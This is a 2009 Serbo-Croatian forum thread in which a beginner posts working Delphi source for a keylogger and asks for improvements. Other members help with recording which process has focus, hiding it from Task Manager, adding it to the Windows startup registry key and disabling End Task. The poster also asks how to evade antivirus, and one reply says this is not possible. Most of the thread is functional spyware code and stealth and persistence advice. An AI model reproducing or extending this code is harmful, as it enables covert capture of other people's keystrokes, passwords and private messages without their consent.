Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć??

  • 29 odgovora
  • 11.496 pregleda
Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 14.02.2009. u 16:48 · pre 215 meseci #1
Pozdrav,

Pošto sam početnik u delhi-ju i želim da što više naučim, odlučio sam da napravim jedan mali keylogger, koji ne želim da zloupotrebljavam već čisto da vidim kako to funkcioniše. Nakon višesatnog rada uspio sam i napraviti, međutim mi se ne sviđa kako radi. A evo postavit ću i source code, a zatim i pitanja:

Code:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
implementation

{$R *.dfm}

function Write(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Write(' [BACKSPACE] ');
9: Write(' [TAB] ');
12: Write(' [ALT] ');
13: Write(' [ENTER] ');
16: Write(' [SHIFT] ');
17: Write(' [CONTROL] ');
18: Write(' [ALT] ');
20: Write(' [CAPS LOCK] ');
21: Write(' [PAGE UP] ');
27: Write(' [ESC] ');
33: Write(' [PAGE UP] ');
34: Write(' [PAGE DOWN] ');
35: Write(' [END] ');
36: Write(' [HOME] ');
37: Write ( '[LEFT ARROW]');
38: Write ( '[ARROW UP]');
39: Write ( '[RIGHT ARROW]');
40: Write ( '[ARROW BELOW]');
45: Write(' [INSERT] ');
46: Write(' [DEL] ');
91: Write ( '[WIN LEFT]');
92: Write ( '[WIN RIGHT]');
93: Write(' [MENU POP-UP] ');
96: Write('0');
97: Write('1');
98: Write('2');
99: Write('3');
100: Write('4');
101: Write('5');
102: Write('6');
103: Write('7');
104: Write('8');
105: Write('9');
106: Write(' [NUM *] ');
107: Write(' [NUM +] ');
109: Write(' [NUM -] ');
111: Write(' [NUM /] ');
112: Write(' [F1] ');
113: Write(' [F2] ');
114: Write(' [F3] ');
115: Write(' [F4] ');
116: Write(' [F5] ');
117: Write(' [F6] ');
118: Write(' [F7] ');
119: Write(' [F8] ');
120: Write(' [F9] ');
121: Write(' [F10] ');
122: Write(' [F11] ');
123: Write(' [F12] ');
144: Write(' [NUM LOCK] ');
187: Write('=');
188: Write(',');
189: Write('-');
190: Write('.');
191: Write(';');
193: Write('/');
220: Write(']');
221: Write('[');
222: Write('~');
226: Write('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Write(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then
Write(Chr(keyloop));

if (keyloop >= 96) and (keyloop <= 110) then
Write(Chr(keyloop));
end;
end;
inc(keyloop);
until keyloop = 255;

end;
end.


A interesuje me sledeće:
1. Kako da napravim da mi u Memo komponenti ne piše npr. ENTER, BACKSPACE... već da to bude kako i radi u programima poput Word-a??
2. Kako da mi prije texta detektuje i napiše o kojem se processu radi??
3. Da li bi to nekako moglo da se napravi da ga ne detektuje antivirus ( ako neko ima code, ne da mi piše )??

Unaprijed zahvalan!
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 14.02.2009. u 18:40 · pre 215 meseci #6
Interesantan pristup detektovanju pritiska na tastere, ako ti je potrebna veća preciznost i mogućnosti pogledaj prethodne diskusije (SetWindowsHookEx je ključna reč).

> 1. Kako da napravim da mi u Memo komponenti ne piše npr. ENTER, BACKSPACE... već da to bude kako i radi u programima poput Word-a??

Želiš li da se po detektovanju entera doda novi red u tvom memo boxu? Oznaka za novi red je CRLF tj. #13#10, dakle Write(#13#10).

2. Kako da mi prije texta detektuje i napiše o kojem se processu radi??

Gde je pritisnut taster? Sa ovim pristupom jedino da pogledaš koji prozor ima fokus (GetForegroundWindow) i da pozoveš GetWindowModuleFileName.

3. Da li bi to nekako moglo da se napravi da ga ne detektuje antivirus ( ako neko ima code, ne da mi piše )??

Sa ovim pristupom koji koristiš ni jedan antivirus se neće buniti (osim ako ne budeš radio neke druge sumnjive stvari). Inače, antivirusi ne bi ni imali smisla kada bi postojao način da sumnjivi programi spreče njihovu detekciju.
Potpis
Do not be a help vampire (http://slash7.com/pages/vampires), use the google.

How to ask questions the smart way:
http://www.catb.org/~esr/faqs/smart-questions.html
http://solair.eunet.rs/~fangor...stions/smart-questions.sr.html
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 14.02.2009. u 19:50 · pre 215 meseci #7
Citat:
Želiš li da se po detektovanju entera doda novi red u tvom memo boxu? Oznaka za novi red je CRLF tj. #13#10, dakle Write(#13#10).


Znaš li možda i za BACKSPACE, samo mi je to dvoje i potrebno pa da taj keylogger liči na nešto??

Citat:
Gde je pritisnut taster? Sa ovim pristupom jedino da pogledaš koji prozor ima fokus (GetForegroundWindow) i da pozoveš GetWindowModuleFileName.


Možeš li napisati code za to, jer sam gledao help i googlao, a ništa nisam uspio :S. PLS.

Citat:
Sa ovim pristupom koji koristiš ni jedan antivirus se neće buniti (osim ako ne budeš radio neke druge sumnjive stvari). Inače, antivirusi ne bi ni imali smisla kada bi postojao način da sumnjivi programi spreče njihovu detekciju.


Ne znam za druge AV, ali kod mene je Kaspersky kada sam pokušao da kompajliram, odmah izbrisao delphi32.exe tako da sam ga morao postaviti na trusted, a isto tako kada sam kompajlirao i otišao u folder gdje se nalazi, pa probao pokrenuti odmah mi je izbrisao fajl. Zašto, ako već kažeš da nema ništa što bi uzrokovalo detekciju od strane AV-a??
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 15.02.2009. u 08:33 · pre 215 meseci #8
> Znaš li možda i za BACKSPACE, samo mi je to dvoje i potrebno pa da taj keylogger liči na nešto??

BackSpace moraš emulirati tako što obrišeš jedan znak pre tekuće lokacije, ako se nalaziš na kraju onda otprilike ovako:
Code:

var
  Temp: string;
begin
  if Memo.Lines.Count > 0 then
  begin
    Temp := Memo.Lines[Memo.Lines.Count - 1];
    SetLength(Temp, Length(Temp) - 1);
    Memo.Lines[Memo.Lines.Count - 1] := Temp;
  end;
end;


> Možeš li napisati code za to, jer sam gledao help i googlao, a ništa nisam uspio :S. PLS.

Ipak ne može sa tom funkcijom, ona radi samo ako window pripada tekućem procesu. To što ti treba možeš uraditi pomoću CreateToolhelp32Snapshot i još par funkcija, ima već gotovih wrappera pa je stoga najbolje da njih koristiš. Downloduj JEDI biblioteku i pogledaj JclSysInfo.GetProcessNameFromWnd.


> Ne znam za druge AV, ali kod mene je Kaspersky kada sam pokušao da kompajliram, odmah izbrisao delphi32.exe tako da sam ga morao
> postaviti na trusted, a isto tako kada sam kompajlirao i otišao u folder gdje se nalazi, pa probao pokrenuti odmah mi je izbrisao fajl.
> Zašto, ako već kažeš da nema ništa što bi uzrokovalo detekciju od strane AV-a??

Imaš zaraženu/oštećenu Delphi verziju, računar ti je zaražen, program radi još nešto osim ovoga što si poslao a što nije dozvoljeno ili KAV pravi probleme.
Potpis
Do not be a help vampire (http://slash7.com/pages/vampires), use the google.

How to ask questions the smart way:
http://www.catb.org/~esr/faqs/smart-questions.html
http://solair.eunet.rs/~fangor...stions/smart-questions.sr.html
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 15.02.2009. u 16:20 · pre 215 meseci #9
Uspio sam napraviti i BACKSPACE nakon male ispravke, a ona izgleda ovako:

Code:


var
  Temp: string;
if KeyLoop = 8 then 
  begin
    Temp := Memo1.Lines[Memo1.Lines.Count - 1];
    SetLength(Temp, Length(Temp) - 1);
    Memo1.Lines[Memo1.Lines.Count - 1] := Temp;
 end;



Što se tiče detektovanja processa pokušavao sam i ništa nisam uspio, pa sam i ostavio da to uradim kada još naučim Delphi, jer to očito s ovim znanjem ne mogu. A izgleda da Kaspersky nešto pravi probleme, jer komp. sigurno nije zaražen.

Pitao bih te još nešto da mi odg. ako imaš vremena:

1. Kako bi, i da li bi se moglo napraviti da npr. mi se otvori ova sadašnja forma, ali da keylogger ne radi, već da kada neko klikne na dugme npr. start, on počne sa radom?? Uglavnom to sam viđao samo ne znam u kojem jeziku je rađeno, mada mislim da je c++.

2. Kako naštimati da u Memo komponenti ne budu sve velika slova, već onako kako je korisnik kucao??

3. Imaš li možda ideju kako uraditi i za SHIFT?? Probao sam napraviti na razne načine, ali bez uspjeha. Pa sam zato ostavio ne definisanu SHIFT tipku, jer su mi svejedno sva slova velika :S.

[Ovu poruku je menjao Senaid_backo dana 15.02.2009. u 17:59 GMT+1]
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 15.02.2009. u 19:08 · pre 215 meseci #10
> 1. Kako bi, i da li bi se moglo napraviti da npr. mi se otvori ova sadašnja forma, ali da keylogger ne radi, već da kada neko klikne na
> dugme npr. start, on počne sa radom??

Podesi timer da ti je disejblovan (Enabled property) i kada želiš da počne sa radom enejbluj ga.

> 2. Kako naštimati da u Memo komponenti ne budu sve velika slova, već onako kako je korisnik kucao??

Moraš voditi računa da li je pritisnut CapsLock i Shift i zavisno od toga menjati casing slova.

> 3. Imaš li možda ideju kako uraditi i za SHIFT?? Probao sam napraviti na razne načine, ali bez uspjeha. Pa sam zato ostavio ne

Kako uraditi šta?
Potpis
Do not be a help vampire (http://slash7.com/pages/vampires), use the google.

How to ask questions the smart way:
http://www.catb.org/~esr/faqs/smart-questions.html
http://solair.eunet.rs/~fangor...stions/smart-questions.sr.html
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 16.02.2009. u 14:25 · pre 215 meseci #11
Napravio sam što sam htio, ali imam još dva pitanja, a to je:
1. Zašto mi sledeći kod ne radi, tj. ne mogu da sakrijem process u Task Manager-u?? Poruka koju mi javlja je:

Code:
The procedure entry point RegisterServiceProcess could not be located in the dynamic link library KERNEL32.DLL.


A evo i koda koji sam koristio:

Code:
var
  Form1: TForm1;
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
end;


2. Napravio sam 2 dugmeta tj. jedno dodaje u startup, a drugo briše. Sve sam pokušavao uraditi da bi dugme za brisanje radilo, ali nikako neće. A evo i koda sa kojim sam radio, koji na nekim drugim primjerima radi ali ovdje neće:

Code:
procedure TForm1.Button5Click(Sender: TObject);
  var
    DelphiReg: TRegistry;
begin
  DelphiReg := TRegistry.Create;
  DelphiReg.RootKey := HKEY_LOCAL_MACHINE;
  if DelphiReg.OpenKey('\Software\Microsoft\Windows\CurrentVersion', False) then
  DelphiReg.DeleteValue('Keylogger');

end;



[Ovu poruku je menjao Senaid_backo dana 16.02.2009. u 16:37 GMT+1]

[Ovu poruku je menjao Senaid_backo dana 16.02.2009. u 18:52 GMT+1]
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 17.02.2009. u 08:48 · pre 215 meseci #12
> Napravio sam što sam htio, ali imam još dva pitanja, a to je:
> 1. Zašto mi sledeći kod ne radi, tj. ne mogu da sakrijem process u Task Manager-u?? Poruka koju mi javlja je:

Kao što sama poruka kaže ta funkcija ne postoji. RegisterServiceProcess je korišćena na Win9x sistemima, više ne. Ne postoji regularan način da se proces izbriše iz TM.

> 2. Napravio sam 2 dugmeta tj. jedno dodaje u startup, a drugo briše. Sve sam pokušavao uraditi da bi dugme za brisanje radilo, ali nikako neće.
> A evo i koda sa kojim sam radio, koji na nekim drugim primjerima radi ali ovdje neće:

Pogledaj prethodne diskusije o ubacivanju programa u startup.
Potpis
Do not be a help vampire (http://slash7.com/pages/vampires), use the google.

How to ask questions the smart way:
http://www.catb.org/~esr/faqs/smart-questions.html
http://solair.eunet.rs/~fangor...stions/smart-questions.sr.html
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 26.02.2009. u 11:32 · pre 214 meseci #13
@Senaid_backo
1. Za koje Win verzije pokusavas da ga napravis?

2. Ako nemas nameru da ga zloupotrebis sta ce ti brisanje iz TM-a dovoljno je da ga stavis kao system service i da iskljucis [End Program] u TM-u (da li sa loop opcijom ili pak koristeci blokadu preko WriteProcessMemory)?

3. A koliko sam ja uspeo da razumem i pregledam source (ako je kompletan), tebe vise interesuje kako da se ukloni sa Task bar-a?


Ako sam u pravu tebi bi odgovaralo nesko kao ovo
Potpis
Pozdrav, Peke
Speed IO ADSL+ Rezultat
SpeedTest.NET ADSL+ Rezultat
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 26.02.2009. u 14:04 · pre 214 meseci #14
Citat:
1. Za koje Win verzije pokusavas da ga napravis?


Za bilo koju verziju Xp-a.

Citat:
2. Ako nemas nameru da ga zloupotrebis sta ce ti brisanje iz TM-a dovoljno je da ga stavis kao system service i da iskljucis [End Program] u TM-u (da li sa loop opcijom ili pak koristeci blokadu preko WriteProcessMemory)?


Nemam namjeru da ga zloupotrijebim već čisto da skontam kako takvo ness uraditi, a evo ti pa vidi kako izgleda ta gotova verzija, a ako možeš napiši primjer kako da isključim End program jer sam ness pokušavao i googlao ali nisam uspio ( početnik :S ) i ne pokušavam da ga uklonim iz Task bar-a jer to znam.

I evo da kažem da sam uspio da napravim ono za startup, kod je i bio ispravan nego ness kod mene do računara bilo.

http://www.speedyshare.com/642175691.html
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 26.02.2009. u 22:38 · pre 214 meseci #15
@Senaid_backo
[quote="Senaid_backo"]Nemam namjeru da ga zloupotrijebim već čisto da skontam kako takvo ness uraditi, a evo ti pa vidi kako izgleda ta gotova verzija[/quote]
Gotova verzija mi nista ne znaci Source bi mi znacio ako zelis da pomognem i vidim sta si uradio?

Inace AV mi ga prijavljuje da pokusava Keyboard Hook. Jesi probao moj primer?
Potpis
Pozdrav, Peke
Speed IO ADSL+ Rezultat
SpeedTest.NET ADSL+ Rezultat
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 27.02.2009. u 13:03 · pre 214 meseci #16
Citat:
Jesi probao moj primer?


Da probao sam i nisam shvatio šta si s njime htio da pokažeš, jer si naveo da si mislio da ja hoću da sakrijem iz Task bar-a, što nije slučaj, ali nebitno. A nisam mislio da mi ti uradiš u programu već da mi navedeš primjer kako staviti na disable end program u task mng. ali evo ti source ako će ti pomoć.

Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 28.02.2009. u 03:18 · pre 214 meseci #17
Moram prestati da odgovaram u 3 ujutru kada zavrsim sa poslom. Moj primer ti radi detaljniji KeyLog a i nije ogranicen na tastaturu vec i na HID uredjaje bez tajmera i nije vezan za Keyboard Language Settings (Language Bar) jer koristi http://msdn.microsoft.com/en-us/library/ms645600(VS.85).aspx kao Hook.

Pazi ni moj primer nije savrsen jer nije po http://support.microsoft.com/kb/65124 (Handling the Keyboard) jer vraca OEM umesto odgovarajuceg karaktera, e da mislim da tu isto imas opis kako da dobijes Naziv za Enter.

Za Task Manager cu pogledati kako da sto jednostavnije da resis, ali kada se naspavam.

BTW: Sto me ES neda Attachment?

EDIT: Pogledaj http://support.microsoft.com/kb/155075 sve se moze :)
Potpis
Pozdrav, Peke
Speed IO ADSL+ Rezultat
SpeedTest.NET ADSL+ Rezultat
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 28.02.2009. u 08:18 · pre 214 meseci #18
Koliko vidim ti si meni dao linkove i savjete kako da uradim neki program ono baš pravo tj. kao profi programer, međutim još uvijek učim i nisam stigao do tog stadija gdje bih mogao tako ness uraditi, tako da sam zadovoljan i sa ovim do sada. A kada budeš imao vremena i volje probaj šta napisati za taj task mng.
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Re: Napravio sam keylogger, ali bih želio male izmjene napraviti! Pomoć?? 28.02.2009. u 23:26 · pre 214 meseci #20
Citat:
Almedin: Evo jedan programcici koji se brise iz liste programa i onemogucava End Task. Nije savrsen ali pokazuje jedan od nacina kako da se uradi.


Ja se trudim da ti ne dosađujem, a ono ti ovako odgovori :D. Nego ovaj tvoj program u attachmentu ne funkcioniše ( kod mene ). Kada stavim na disable ništa se ne dešava, a kada stavim na Automatic disable samo ga isključi iz Applications dok u processes stoji kako jeste :S.
Potpis
Samo jednom se živi, zato iskoristi svaku priliku i uživaj!
Odgovori
Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme